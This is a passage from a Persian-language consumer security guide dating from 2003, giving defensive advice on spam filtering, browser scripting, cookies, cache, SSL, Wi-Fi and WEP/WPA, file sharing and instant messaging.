علاوه بر جستجوگرهای هرزنامه، روشهای غربال‌سازی هرزنامه نیز وجود دارند که از فنون *پرسش – پاسخ*[۷۶] استفاده می‌کنند. در این روش هنگامیکه نامه‌ای از یک فرستندهٔ ناشناس دریافت می‌شود، در میان راه (قبل از اینکه گیرنده آنرا باز کند) متوقف می‌گردد. سپس پرسشی برای فرستنده ارسال می‌شود و در آن از وی درخواست می‌گردد نامه‌ای که فرستاده است را تأیید کند تا ثابت شود آن نامه از سوی همان فرد است و نه از جانب شخص دیگر یا یک نرم‌افزار. فرم تأییدیه چنان طراحی شده که بطور خودکار نمی‌تواند مدیریت شود و نیز برای هرزنامه‌های بعدی مؤثر نیست. اگر تا چند روز هیچ تأییدیه‌ای دریافت نشود، نامه بجای تحویل شدن، حذف می‌گردد. مشکل این روش این است که نیازمند مداخلهٔ دستی فرستنده است. اگر نامه‌ای را بفرستید و قادر نباشید که به درخواست تأییدیه سریعاً پاسخ دهید نامهٔ شما تحویل نخواهد شد. همچنین اگر دو ISP بصورت متقابل از این سرویس استفاده کنند ممکن است هرگز از یکدیگر نامه‌ای دریافت نکنند؛ زیرا اولین دریافت‌کننده نامه را نمی‌بیند مگر اینکه تأیید شده باشد، و تقاضای تأیید نیز ارسال نخواهد شد، چون فرستندهٔ آن ناشناس است. برخی از صافیهای هرزنامه بجای اینکه نامه‌های مشکوک را حذف کنند آنها را در یک پوشهٔ مخصوص قرار می‌دهند. بنابراین شما می‌توانید بطور متناوب پوشهٔ هرزنامه را بررسی کنید تا مطمئن شوید که محتویات آن قربانیهای False Positive نیستند.

روش امیدوارکنندهٔ جدید ضد هرزنامه روشی به نام Bayesian Filtering است. در این روش قوانین غربال‌سازی با شناخت شما از هرزنامه اصلاح می‌شود. این قوانین می‌توانند در مورد هر دریافت‌کننده‌ای متغیر باشند. هدف از این روش، آموزش دیدن برنامه غربال‌ساز از رفتار شما است تا بتواند فرد مورد اطمینان شما را تشخیص دهد و محتویاتی که معمولاً بعنوان هرزنامه شناسایی نمی‌شوند اما به هر دلیلی مورد توجه شما نیستند را رد کند. صافیهای bayesian از فنون زبان‌شناسی استفاده می‌کنند تا به نامه‌هایی اجازهٔ عبور دهند که حاوی لغات مخصوصی هستند و بر اساس تجربیات گذشتهٔ رفتار پست الکترونیکی شما در نامه‌های واقعیتان بکار می‌روند اما بندرت در هرزنامه ظاهر می‌شوند. صافیهای bayesian برای اکثر برنامه‌های پست الکترونیکی قابل استفاده هستند.

اگر هرزنامه برای شما مشکل‌آفرین شده است باید بررسی کنید که آیا ISP شما قابلیتهای شناسایی و غربال‌سازی هرزنامه را ارائه می‌دهد یا خیر. همچنین باید نرم‌افزارهای پست الکترونیکی خود را بررسی کنید تا معلوم شود آیا می‌توانند هرزنامه‌ها را غربال نمایند یا نه.

استفاده از شبکهٔ جهانی وب

هنگامیکه این کتاب در سال ۲۰۰۳ نوشته شد، وب حدود ۱۰ سال با سطوح دسترسی مختلف در اختیار عموم قرار داشته است. درحال حاضر وجود وب برای آندسته از افرادی که مرتباً در کار، مدرسه و تفریح از شبکه استفاده می‌کنند ضروری است. از آنجا که وب بصورت ابزاری مفید و رایج در آمده، فراموش شده که می‌تواند محیطی خصومت‌آمیز باشد.

ایمن نگهداشتن مرورگرها

بطور کلی وب نسبتاً ایمن است اما استفاده از آن خطرات بالقوه‌ای نیز در پی دارد. پایگاههای وب معمولاً دارای متنها و تصاویر *ایستا*[۷۷] هستند، اما می‌توانند برنامه‌های *پویایی*[۷۸] نیز داشته باشند که برای اجرا در رایانهٔ شما درنظر گرفته شده باشند.

76 Challenge-Response

77 Static
78 Dynamic

قانون یازدهم

به پایگاههای وب اجازه ندهید که برنامه‌های مخرب را در رایانهٔ شما download و اجرا نمایند، مگر اینکه به آن پایگاه وب کاملاً اطمینان داشته باشید.

Download پویای برنامه‌ها گاهی اوقات می‌تواند بسیار مفید باشد. این قابلیت به شما اجازه می‌دهد که از *خدمات برخط*[۷۹] استفاده کنید؛ مثلاً به ویروس‌یابی و رفع مشکلات امنیتی بپردازید. همچنین باعث می‌شود نرم‌افزار شما بتواند بسادگی نصب و به‌روزرسانی شود؛ بدون اینکه لازم باشد کاربر روالهای چندمرحله‌ای پیچیده و فنی انجام دهد.

متأسفانه download پویا و خودکار برنامه‌ها می‌تواند خطرناک و مخرب نیز باشد. کلیهٔ مرورگرها به شما اجازه می‌دهند که برنامه‌های JavaScript، Java، ActiveX و دیگر ابزارهای برنامه‌نویسی را روی رایانهٔ خود download و اجرا کنید، اما اگر می‌خواهید کاملاً ایمن باشید نباید اجازهٔ اجرای این برنامه‌ها را صادر نمایید. البته با غیرفعال نمودن این ویژگیها متوجه خواهید شد که بسیاری از پایگاههای وب نمی‌توانند مثل گذشته کار کنند.

بجای مسدود کردن دسترسی به این همه پایگاه وب باید بدنبال یک راه حل منطقی بود:

- قابلیتهای نسبتاً ایمن و رایج مانند Javascript را فعال نمایید. با اینکار به پایگاههای وب زیادی اجازه می‌دهید که بتوانند بطور صحیح عمل کنند.
- قابلیتهایی مانند Java و ActiveX که ایمنی کمتری دارند و کمتر نیز استفاده می‌شوند را غیرفعال کنید یا مرورگر خود را طوری تنظیم نمایید که قبل از بکارگیری آنها از شما اجازه بگیرد. غیرفعال نمودن این قابلیتها بدین معناست که از آن پس بعضی از توابع مرورگر کار نخواهند کرد. با انجام اینکار بعضی از پایگاههای وب ممکن است به شما هشدار دهند و برخی دیگر از ادامهٔ فعالیت باز بمانند. اگر مایل نیستید چنین اتفاقی رخ دهد، مرورگر باید بتواند نیازهای پایگاه وب را شناسایی کند و برای download و اجرای برنامهٔ مورد نیاز جهت مشاهدهٔ صحیح محتویات آن پایگاه از شما سؤال نماید.

قانون دوازدهم:

به آدرس پایگاه وب و آدرسی که به آن متصل می‌شوید دقت کنید و هنگام مشاهدهٔ یک پایگاه وب ناشناخته، به آن توجه نمایید؛ خصوصاً اگر به آن پایگاه اجازهٔ اجرای یک برنامه روی رایانهٔ خود را داده‌اید.

مرورگرهای وب می‌توانند طوری تنظیم شوند که آدرس پایگاه وب درحال مشاهده را نشان دهند (این قابلیت معمولاً Navigation Bar یا Address Bar نامیده می‌شود). هنگامیکه *مکان‌نمای*[۸۰] شما به یک *ارتباط*[۸۱] اشاره می‌کند، این ویژگی می‌تواند نشان دهد که آن ارتباط به چه آدرسی اشاره دارد (*نوار وضعیت*[۸۲]). با مشاهدهٔ آن آدرس متوجه می‌شوید که به چه پایگاه وب دیگری فرستاده خواهید شد؛ پایگاهی که ممکن است غیرقابل اطمینان باشد؛ یا شاید نخواهید آنرا مشاهده کنید. در عمل ممکن است نخواهید با هر کلیک Navigation Bar و Status Bar را بررسی کنید، اما وقتیکه در یک پایگاه وب ناآشنا هستید – بخصوص اگر Java یا ActiveX را فعال کرده باشید – باید از این ابزار بگونه‌ای استفاده نمایید که چنانچه بصورت ناخواسته به پایگاه وب جدیدی هدایت شدید از آن آگاهی یابید.

Cookieها

Cookie اطلاعاتی است که مرورگر هنگام مشاهدهٔ یک پایگاه وبِ راه دور روی دیسک سخت رایانه می‌نویسد. هنگامیکه بعدها دوباره همان پایگاه وب را مشاهده کنید، cookieهای مربوط به شما مجدداً برای آن پایگاه ارسال می‌شوند. درواقع هر cookie مربوط به پایگاه وب مبدأ خود است؛ اگرچه برخی از اشکالات موجود در مرورگرها باعث می‌شوند که پایگاهها بتوانند cookieهای یکدیگر را مشاهده نمایند. Cookie به پایگاه وب متذکر می‌شود که شما چه کسی هستید، میل و سلیقهٔ شما چیست، و قبلاً در آن پایگاه چه فعالیتهایی انجام داده‌اید. بعنوان مثال هنگامیکه

79 *Online Services*

80 *Cursor*
81 *Link*
82 *Status Bar*

با نام کاربری و رمز عبور خود وارد یک پایگاه وب می‌شوید، پایگاه وب این اطلاعات را در یک cookie بر روی رایانهٔ شما ذخیره می‌کند. وقتی‌که مثلاً پس از یک هفته دوباره به آن مراجعه می‌کنید ممکن است بر اساس اطلاعات موجود در cookie مذکور بصورت خودکار وارد آن پایگاه شوید. Cookieها همچنین به پایگاههای وب اجازه می‌دهند آنچه را که در یک *جلسه*[۸۳] انجام داده‌اید ردیابی نمایند.

اگرچه یک cookie به شکل معمول تنها می‌تواند از پایگاه وب مبدأ خود بازیابی شود، اما ممکن است پایگاه وبی که مشاهده می‌کنید حاوی تصاویر و اشیاء دیگری باشد که مربوط به یک پایگاه وب ثانویه هستند (که *پایگاه وب خارجی*[۸۴] یا *پایگاه وب شخص ثالث*[۸۵] نامیده می‌شود) و آن پایگاه وب ثانویه نیز بتواند cookieها را ذخیره و بازیابی نماید. از آنجا که تصاویر می‌توانند نامرئی باشند، ممکن است اصلاً متوجه نشوید که چنین اتفاقی رخ داده است. این تصاویرِ غیرقابل رؤیت می‌توانند با ردیابی پایگاههای وبی که شما آنها را مشاهده می‌کنید برای اهداف تبلیغاتی بکار روند.[۸۶]

قانون سیزدهم

چگونگی وضعیت ذخیرهٔ cookieها بر روی رایانه را مورد بررسی قرار دهید. اگر نمی‌توانید آنها را کنترل نمایید (مانند زمانیکه از رایانه‌ای در یک مکان عمومی استفاده می‌کنید) اطلاعات خصوصی خود را وارد رایانه نکنید.

کلیهٔ مرورگرهای وب تا سطح کنترل خاصی به شما امکان می‌دهند که وجود cookieها را مجاز بدانید یا خیر. در برخی موارد ممکن است مرورگر میان cookieهایی که در رایانهٔ شما ذخیره شده‌اند، cookieهایی که هنگام بستن مرورگر ناپدید می‌شوند و آندسته که هنگام مشاهدهٔ پایگاه‌های وب و پایگاههای وب خارجی ذخیره می‌گردند تفاوت قائل شود. اساساً شما می‌توانید اجازهٔ ذخیرهٔ همهٔ cookieها را بدهید، از ذخیرهٔ آنها جلوگیری کنید، و یا از مرورگر بخواهید که قبل از ذخیرهٔ آنها از شما سؤال نماید. شما هرگز مطلع نمی‌شوید که چه زمانی اطلاعات ذخیره شده در یک cookie به پایگاه وب مبدأ بازمی‌گردد.

Cookieها را می‌توان بررسی نمود زیرا در قالب متنی هستند، اما چون اطلاعات موجود در آن توسط پایگاه وب مبدأ رمزگذاری می‌شود معمولاً قابل فهم نمی‌باشند. برخی از مرورگرها اجازهٔ نمایش و حذف cookieها را می‌دهند و برنامه‌های ثالثی وجود دارند که اجازهٔ مدیریت آنها را نیز برای شما فراهم می‌آورند.

اگر می‌خواهید اطلاعاتی که یک پایگاه وب در مورد شما می‌داند را کنترل کنید باید زمان و چگونگی ذخیره‌شدن cookieها روی رایانهٔ خود را کنترل نمایید. توجه داشته باشید که برخی از پایگاههای وب برای اینکه بتوانند بدرستی عمل نمایند نیازمند ذخیرهٔ cookieها روی رایانهٔ کاربر می‌باشند. عموماً این پایگاههای وب درصورت غیرفعال بودن cookieها به شما اطلاع می‌دهند که قادر به انجام یا تکمیل عملیات نیستند.

اگر در اماکن عمومی (مثل کافی‌نت، کتابخانه‌ها، مدارس) از مرورگرهای وب استفاده می‌کنید توجه داشته باشید cookieهایی که حاوی اطلاعات شما هستند در آنها ذخیره می‌شوند. در بسیاری از موارد راهبر رایانه ممکن است به شما آنقدر دسترسی نداده باشد که بتوانید cookieها را کنترل، نظاره و یا پاک کنید. بنابراین اطلاعات شما در این رایانه می‌ماند و ممکن است بوسیلهٔ فرد دیگری که همان پایگاه وب را مشاهده می‌کند مورد استفاده قرار گیرد. اگر به پایگاه وبی وارد شده باشید و اطلاعات معتبر شما در یک cookie ذخیره شده باشد و کاربر دیگری به همان پایگاه وب مراجعه نماید، ممکن است بصورت خودکار بجای شما وارد آن پایگاه گردد. درنتیجه احتمال دارد که پایگاه وب اطلاعات ذخیره‌شدهٔ شما (مانند نام، آدرس و اطلاعات کارت اعتباری) را در اختیار این کاربر قرار دهد.

این مورد حتی در یک رایانهٔ خصوصی که چند نفر از آن استفاده می‌کنند نیز می‌تواند مشکل‌ساز شود. در این موارد

---

83 *Session*
84 *Foreign Site*
85 *Third-Party Site*
۸۶ *فرض کنید پایگاههای A و B و C و D همگی یک تصویر نامرئی از پایگاه Z نمایش می‌دهند. وقتی تصویر مربوطه در مرورگر شما به نمایش در می‌آید، Z مطلع می‌شود که از کدام پایگاه به آن اشاره شده است، و سپس cookieهایی ذخیره می‌کند تا به خاطر بسپارد که شما از کدام پایگاهها دیدن کرده بودید. از این پس Z در مورد اینکه چه چیزهایی مورد علاقهٔ شما است اطلاعات خوبی در اختیار دارد و می‌تواند از آن اطلاعات برای ارسال تبلیغات به شما استفاده کند.*

cookieها نه تنها یک مشکل برای حریم خصوصی هستند، بلکه یک آسیب‌پذیری امنیتی نیز بشمار می‌روند.

حافظهٔ نهان[87] مرورگر وب

هنگامیکه یک مرورگر صفحه یا تصویری را از یک پایگاه وب بازیابی می‌کند معمولاً یک نسخه از صفحهٔ درحال نمایش را نیز در دیسک سخت رایانه ذخیره می‌نماید. این مجموعهٔ صفحات و تصاویر ذخیره‌شده "حافظهٔ نهان" نامیده می‌شوند. اگر این پایگاه وب را مجدداً مشاهده کنید و صفحهٔ آن تغییر نکرده باشد ممکن است مرورگر کل صفحه را از ابتدا download نکند، بلکه برای نمایش آن از حافظهٔ نهان استفاده نماید. در برخی موارد صفحات وبی که در حافظهٔ نهان وجود دارند می‌توانند بصورت offline (یعنی بدون اتصال اینترنتی) نیز دیده شوند. این بدان معناست که هرآنچه توسط مرورگر مشاهده می‌کنید در دیسک سخت رایانه ذخیره شده است. بنابراین اگر برای انجام معاملات مالی از وب استفاده می‌کنید، اطلاعات خرید، کارتهای اعتباری و حسابهای بانکی شما در آن رایانه کاملاً قابل خواندن و بازیابی خواهند شد. باتوجه به میزان مرور و اندازهٔ حافظهٔ نهان، این صفحات و تصاویر می‌توانند تا مدتهای متفاوتی روی رایانه باقی بمانند.

قانون چهاردهم:

درصورتیکه اطلاعات خصوصی شما در صفحهٔ وب نمایش داده شد، پس از اتمام کار باید حافظهٔ نهان را پاک نمایید. اگر نمی‌توانید اینکار را انجام دهید (مثلاً هنگامیکه از یک رایانهٔ عمومی استفاده می‌کنید) نباید از آن رایانه برای تبادل اطلاعات محرمانهٔ شخصی استفاده نمایید.

کلیهٔ مرورگرها اجازه می‌دهند حافظهٔ نهان (که *فایلهای موقتی اینترنت*[88] نامیده می‌شود) را از روی سیستم پاک کنید؛ اما بسیاری از رایانه‌هایی که در اماکن عمومی مورد استفاده قرار می‌گیرند اجازهٔ کنترل و حذف حافظهٔ نهان را نمی‌دهند. اگرچه پاک کردن این حافظه پس از ورود اطلاعات حساس از اهمیت بسیار زیادی برخوردار است، اما تا به حال هیچ مرورگری در نوار ابزار خود نمایه‌ای قرار نداده که با کلیک بر روی آن بتوان به آسانی حافظهٔ نهان را پاک نمود.

انتقال امن

کلیهٔ پیامهایی که در وب دریافت و ارسال می‌کنید بصورت متن‌ساده هستند. این بدان معناست که اگر فردی بتواند این متنها را میان راه را بدزد، برای وی قابل فهم و خواندن خواهند بود. اگر بخشی از ارتباط اینترنتی به شکل بی‌سیم باشد و یا ISP انتهای ارتباط قابل اطمینان نباشد دزدی پیام از میان راه راحت‌تر می‌شود و لذا توجه به آن اهمیت بسیار بیشتری پیدا می‌کند.

مرورگرها و سرویس‌دهنده‌های وب برای حل این مسئله از رمزگذاری بهره می‌برند. رمزگذاری پیام را تغییر می‌دهد؛ بنابراین برای افراد غیرمجاز بسیار سخت و حتی غیرممکن می‌شود که بتوانند پیام رمزگذاری‌شده را بخوانند (برای جزئیات بیشتر ضمیمهٔ ۱ همین بخش را مطالعه نمایید). نام پروتکل رمزگذاری "*SSL*"[89] است. می‌توانید برای پیامهایی که دریافت می‌کنید از SSL استفاده نمایید. در اکثر مرورگرها تصویر کوچکی از یک قفل وجود دارد که برای انتقال عادی پیام باز است و برای انتقالاتی از نوع SSL به حالت بسته در می‌آید. در اینحالت URL آن صفحه بجای "http" با "https" آغاز می‌شود. درصورتیکه در کشورتان امکان آن وجود داشته باشد، بهتر است همواره از قوی‌ترین روش رمزگذاری استفاده نمایید.

توجه داشته باشید که این قفل مشخص نمی‌کند پیامی که از طرف شما به سرویس‌دهنده ارسال می‌شود برای رمزگذاری از SSL استفاده کرده است یا نه، اما فرض بر این است که اگر صفحهٔ ارسالی رمزگذاری شده باشد، پیام بازگشتی نیز بصورت رمزگذاری‌شده منتقل می‌شود.

SSL تنها زمانی کار می‌کند که مرورگر بداند مخاطب آن کیست. این امر به کمک *گواهی امنیتی*[90] و *امضای دیجیتالی*[91] صورت می‌پذیرد. بطور کلی اگر سرویس‌دهندهٔ وب بخواهد قابل اطمینان باشد باید از یک مرکز معتبر صدور گواهی، گواهی امنیتی تهیه نماید. اگر این مرکز بخواهد

87 *Cache*
88 *Temporary Internet Files*

89 *Secure Socket Layer*
90 *Security Certificate*
91 *Digital Signature*

بدرستی به وظیفهٔ خود عمل نماید باید بررسی کند فردی که درخواست گواهی نموده همان کسی است که خودش ادعای آنرا دارد. سپس این مرکز گواهی را بصورت دیجیتالی امضا می‌کند و مرورگر شما جداولی را برای شناسایی این گواهی‌ها ذخیره می‌نماید.

گاهی اوقات از سوی یک پایگاه وب پیامی دریافت می‌کنید مبنی بر اینکه گواهی دیجیتالی آن *منقضی*[۹۲] شده یا متعلق به مکان دیگری است. حالت اول زمانی است که تاریخ اعتبار گواهی بتازگی به پایان رسیده و پایگاه وب برای تمدید آن باید تشریفات اداری تمدید گواهی را دنبال کند. در حالت دوم نیز معمولاً پایگاه مورد نظر تغییر نام داده و این تغییر در گواهی آن منعکس نشده است. با این وجود اگر خواستار سطح مناسبی از ایمنی هستید در هر دو حالت باید تا زمانیکه مشکل بگونه‌ای رفع شود به ارتباط خود با آن پایگاه خاتمه دهید.

آیا انتقال امن کافی است؟

یک قفل کوچک برای انتقال امن در وب طراحی شده و ایمن بودن انتقال را نشان می‌دهد. با این وجود انتقال تنها موردی نیست که برای تأمین امنیت باید مورد بررسی قرار گیرد. تنها درصد کمی از کلاهبرداریها یا سرقتهای هویت در اثر انتقال ناامن صورت می‌گیرد. درصد عمدهٔ مسائل مواردی هستند چون:

- فقدان اصول اخلاقی در بعضی پایگاههای وب؛
- سوء استفاده از پایگاههای وب شخصی؛
- سوء استفاده از رایانه‌های شخصی.

استثنای اصلی در این موضوع "انتقال بی‌سیم" است که در بخش بعدی بررسی خواهد شد.

سیاستهای حریم خصوصی[۹۳]

بسیاری از پایگاههای وب برای حفاظت از حریم خصوصی افراد، سیاستهای اعلام شده دارند. این سیاستها مشخص می‌کنند که چه نوع اطلاعاتی را می‌توان در پایگاه وب جمع‌آوری نمود، با آن داده‌ها چه کاری را می‌توان یا نمی‌توان انجام داد، و نیز اینکه چگونه باید از این داده‌ها حفاظت کرد. کلیهٔ پایگاههای وبی که اطلاعات فردی یا مالی جمع‌آوری می‌کنند باید از یک سیاست حریم خصوصی مناسب و اعلام‌شده برخوردار باشند.

انتقال بی‌سیم

استفاده از فناوری بی‌سیم در کشورهای درحال توسعه و توسعه‌یافته رو به افزایش است. این فناوری معمولاً کم‌هزینه‌تر از فناوریهای سیمی است، در اماکن خصوصی راحت‌تر و سریعتر نصب می‌شود و اشکالات تنظیمی کمتری دارد. با این وجود فناوری بی‌سیم دارای دو مشکل بالقوه است:

- امکان دارد اطلاعات در میانهٔ انتقال دزدیده شود.
- با توجه به مکان، آب و هوا، زمان روز، نزدیک بودن تجهیزات رادیویی، سرعت انتقال خط، کیفیت نصب و تداخلهای مخرب، سرعت و کیفیت انتقال ممکن است متفاوت باشد.

در مورد دستهٔ دوم مشکلات، کار زیادی نمی‌توان انجام داد. این موارد از خصوصیات فناوری بی‌سیم و از هزینه‌هایی هستند که برای استفاده از ارتباطات بی‌سیم باید پرداخت شوند. راه مقابله با *دزدی میان راه*[۹۴] نیز استفاده از روشهای مختلف رمزگذاری است (برای جزئیات بیشتر در مورد روشهای رمزگذاری ضمیمهٔ ۱ از همین بخش را مطالعه کنید). اگر سرویس‌دهنده‌ای دارید که از روشهای رمزگذاری پشتیبانی می‌کند حتماً از آن استفاده نمایید (مثل پایگاههای وب مبتنی بر SSL). اگر از پست الکترونیکی مبتنی بر POP استفاده می‌کنید باید گزینهٔ APOP را انتخاب نمایید تا رمزهای عبور قبل از ارسال رمزگذاری شوند. این ویژگی – مستقل از رسانهٔ انتقال – *امنیت پایانه به پایانه*[۹۵] را برآورده می‌کند. اگر سرویس‌دهنده از رمزگذاری استفاده نکند باید از محدودیتهای فناوری آگاه باشید و درصورت لزوم تصمیم بگیرید که از ارتباط چگونه استفاده کنید.

92 *Expired*
93 *Privacy Policy*
94 *Interception*
95 *End-to-End Security*

802.11 یا Wi-Fi

802.11 مجموعه‌ای از استانداردهای درحال توسعهٔ IEEE برای *شبکه‌های محلی بی‌سیم*[۹۶] می‌باشد. 802.11 که معمولاً *Wi-Fi*[۹۷] نامیده می‌شود، بعنوان جایگزین *اترنت سیمی*[۹۸] برای اتصال رایانه‌های خانگی و رایانه‌های کیفی محبوبیت یافته و مزیتش ارزان بودن و سرعت نسبی آن است.

متأسفانه چندین آسیب‌پذیری در اغلب پیاده‌سازیهای Wi-Fi وجود دارد:

- ایستگاههای اصلی، ارتباط ایمن و مطمئنی با یکدیگر ندارند.
- اگر بخواهید ارتباط شبکه‌ای خود را با فرد دیگری به‌اشتراک بگذارید، باید نام شبکهٔ خود (SSID) را از حالت پیش‌فرض تغییر دهید و آنرا طوری تنظیم کنید که نام آن برای افراد غیر مجاز قابل رؤیت نباشد. درصورت انجام اینکار تنها افرادی که SSID را می‌دانند خواهند توانست آن ارتباط شبکه‌ای را ببینند.
- الگوریتم رمزنگاری آن (WEP) ضعیف است و بسادگی می‌تواند شکسته شود. با این وجود در غیاب روشهای بهتر می‌توانید آنرا فعال سازید. به یاد داشته باشید که اگر فردی واقعاً بخواهد انتقال اطلاعات شما (مانند رمز عبور) را بررسی کند استفاده از این روش بسیار آسیب‌پذیر خواهد بود. البته یک روش جدید رمزنگاری (WPA) وجود دارد که کاستیهای WEP را رفع می‌کند و در تجهیزات جدیدتر قابل استفاده می‌باشد. استفاده از این روش در شبکه‌های مبتنی بر Wi-Fi اکیداً توصیه می‌شود.

تلفنهای سیار

تلفنهای سیار (که تلفنهای دستی یا تلفنهای همراه نیز نامیده می‌شوند) به شکل گسترده‌ای برای انتقال صوت بکار می‌روند و گاهی اوقات نیز می‌توانند برای انتقال اطلاعات مورد استفاده قرار گیرند. بسیاری از فناوریهای تلفن سیار می‌توانند مورد استراق سمع و شنود قرار بگیرند و لذا ایمن نمی‌باشند.

خطوط دور برد

ارتباطات طولانی خصوصاً برای مناطق دوردست معمولاً با استفاده از فناوریهای بی‌سیم مهیا می‌شود. این خطوط می‌توانند به چندین کاربر بطور همزمان خدمات ارائه دهند. اگر روش انتقال بصورت مستقیم باشد (با استفاده از آنتنهای بشقابی یا آنتنهای یاگی) استراق سمع بدون تجهیزات خاص دشوار خواهد بود. این ارتباطات درصورت لزوم می‌توانند با استفاده از تجهیزات سخت‌افزاری رمزنگاری بصورت رمزی درآیند.

تلفنهای بی‌سیم حلقهٔ محلی[۹۹]

این فناوری در منازل و ادارات بسیاری از کشورها بکار می‌رود و نصب کم‌هزینه و بی‌نقص خطوط تلفن را میسر می‌سازد و مشکلاتی که تجهیزات زیرساختهای سیمی دارند را ندارد. از طرف دیگر برخلاف سیمهای مسی، تجهیزات بی‌سیم در میانهٔ راه قابل دزدیدن و فروختن نیستند، اما همانند تلفنهای سیمی هنگامیکه یک مودم به این خطوط متصل می‌شود می‌توانند بجای اطلاعات صوتی، سایر انواع اطلاعات را انتقال دهند. فناوری بی‌سیم ممکن است قابل شنود باشد. بسته به موقعیت محلی، قوانین کشوری و مقررات محلی می‌توانید از ISP خود درخواست کنید که رمزگذاری‌شدن ارتباط را بررسی نماید.

سایر مسائل اینترنتی

اشتراک فایل

درصورت وجود بیش از یک رایانه، استفاده از فایلهای اشتراکی یکی از مهمترین و کاربردی‌ترین ابزار موجود در شبکه می‌باشد. در ساده‌ترین حالت، این ویژگی شما را قادر می‌سازد درحالیکه در یک سیستم فعالیت می‌کنید به فایلهای موجود در یک سیستم دیگر دسترسی یابید، آنها را تغییر دهید، در آن سیستم فایل جدید بسازید، و یا فایلهای موجود در آنرا حذف نمایید. دو سیستم مجزا می‌توانند هر دو در یک

96 *Wireless LANs*
97 *Wireless Fidelity*
98 *Wired Ethernet*

99 *Local Loop Wireless Telephones*

اتاق یا هرکدام در یک نیمکرهٔ زمین باشند. اشتراک فایل این امکان را فراهم می‌سازد که در طول مسافرتها بتوانید به فایلهای رایانهٔ خود دسترسی داشته باشید.

یک رایانهٔ منفرد که بعنوان *سرویس‌دهندهٔ فایل*[۱۰۰] عمل می‌کند می‌تواند بعنوان دیسک سخت تعداد زیادی رایانه تلقی گردد. در اینصورت بیشتر فایلهای شما در سرویس‌دهندهٔ فایل قرار می‌گیرند و بنابراین می‌توانید از طریق شبکه به آنها دست یابید.

آسیب‌پذیری واضحی که در اینجا وجود دارد این است که اگر شما بتوانید به فایلهای خود از راه دور دست پیدا کنید، افراد دیگر نیز می‌توانند اینکار را انجام دهند. یک آسیب‌پذیری ضعیفتر این است که اگر فایلها را با دیگران به‌اشتراک بگذارید، در برابر آسیب‌پذیریهایی که ممکن است برای رایانهٔ آنها پیش آید در امان نخواهید بود. مثلاً اگر رایانه‌ای که به فایلهای شما دسترسی داشته توسط یک ویروس آلوده شود، ممکن است فایلهای شما نیز آلوده گردند.

قانون پانزدهم:

اگر از قابلیت اشتراک فایل استفاده نمی‌کنید آنرا غیرفعال سازید. درصورت نیاز به آن، دسترسیهای خود را به آنچه که واقعاً لازم دارید محدود نمایید.

قانون شانزدهم:

اگر از قابلیت اشتراک فایل استفاده می‌کنید، نام کاربری و رمزهای عبور مستحکم بکار گیرید و مجوز دسترسی را به کمترین حد ممکن که همچنان با آن می‌توانید کار خود را انجام دهید محدود سازید.

قانون هفدهم:

اگر فایلها را با دیگران به اشتراک می‌گذارید مطمئن شوید آنها مسائل امنیتی را جدی می‌گیرند.

قابلیتهای اشتراک فایل و دسترسی از راه دور این امکان را فراهم می‌سازند که برای کنترل دسترسی از نام کاربری و رمزهای عبور استفاده کنید، و نامهای کاربری و رمزهای عبور شما را قادر می‌کنند بتوانید آنچه که یک کاربر انجام می‌دهد (خواندن، نوشتن، ایجاد و پاک نمودن) را کنترل نمایید. بسیاری از سیستمها می‌توانند تمامی اعمال یک کاربر را کنترل نمایند. بعنوان مثال می‌توانید تسهیلات دسترسی از راه دور را بگونه‌ای محدود سازید که به فایلها تنها اجازهٔ خوانده‌شدن بدهد. به عبارت دیگر اگر نیازی به دسترسی نوشتن ندارید باید آنرا غیر فعال کنید.

سیستمهایی که از بعضی قابلیتهای اشتراک فایلها پشتیبانی می‌کنند می‌توانند چاپگرها را نیز به اشتراک بگذارند. اگرچه امکان دسترسی راه دور به چاپگر چندان پرمخاطره نیست، اما بهتر است که آنرا غیرفعال سازیم مگر آنکه ضروری باشد. ممکن است اشکالی در دسترسی راه دور چاپگر وجود داشته باشد که باعث شود مجوزهایی که اختصاصاً برای کارهای چاپی صادر شده، امکان اعمال خرابکارانه را فراهم کنند.

پیامهای فوری

قابلیت ارسال پیام فوری این امکان را فراهم می‌سازد که پیام تایپ‌شده روی یک رایانه همزمان روی رایانه‌های دیگر به نمایش درآید. برخلاف پست الکترونیکی، در این مورد فرستنده و گیرنده باید هر دو در یک زمان متصل به شبکه باشند. قابلیت ارسال پیام فوری نرم‌افزارهای متفاوتی دارد. در میان آنها می‌توان به MSN Messenger، *IRC*[۱۰۱]، Yahoo Chat، *AIM*[۱۰۲]، و نیز *ICQ*[۱۰۳] اشاره نمود.

ارتباطات اینترنتی از قبیل AOL، MSN، Yahoo، میزبانهای بازیهای اینترنتی و... هریک دارای Messenger و Chat مخصوص به خود هستند. بعضی از آنها با سایرین تبادل اطلاعات می‌کنند و برخی دیگر چنین کاری انجام نمی‌دهند.

بسیاری از سیستمهای ارسال پیام فوری به کاربر اجازه می‌دهند اسمی انتخاب کند که همراه پیامهای ارسالی‌اش به نمایش درآید و بدین ترتیب سایرین نیز بتوانند برای او پیام ارسال نمایند. این اسامی ممکن است موجب شوند که هویت اصلی شما پنهان بماند، اگرچه راهبران سیستم ممکن است بتوانند هویت شما را از طریق آدرس IP شناسایی کنند.

100 File Server

101 Internet Relay Chat

102 AOL Instant Messenger

۱۰۳ یک علامت اختصاری برای عبارت "I Seek You"

قانون هجدهم:

قابلیت ارسال پیام فوری می‌تواند بسیار مفید باشد، اما از آن با آگاهی و دقت کامل استفاده کنید.

قابلیت ارسال پیام فوری به چند دلیل نقش مفیدی ایفا می‌کند:

- استفاده از آن نسبت به پست الکترونیکی راحت‌تر و سریعتر است و تقریباً هیچ تأخیری ندارد. این مسئله باعث می‌شود گفتگوهای انجام‌شده در آن عملی‌تر از نامه‌های الکترونیکی باشند.
- درحالیکه مشغول انجام کار دیگری هستید پیام در پنجرهٔ کوچکی روی صفحهٔ شما دریافت و ارسال می‌گردد و چندان باعث ایجاد وقفه در سایر کارهایتان نمی‌شود.
- نیازی نیست که آدرس پست الکترونیکی (و هویت) خود را برای سایر شرکت‌کنندگان در گفتگوهای انجام‌شده در پیامهای فوری فاش کنید.

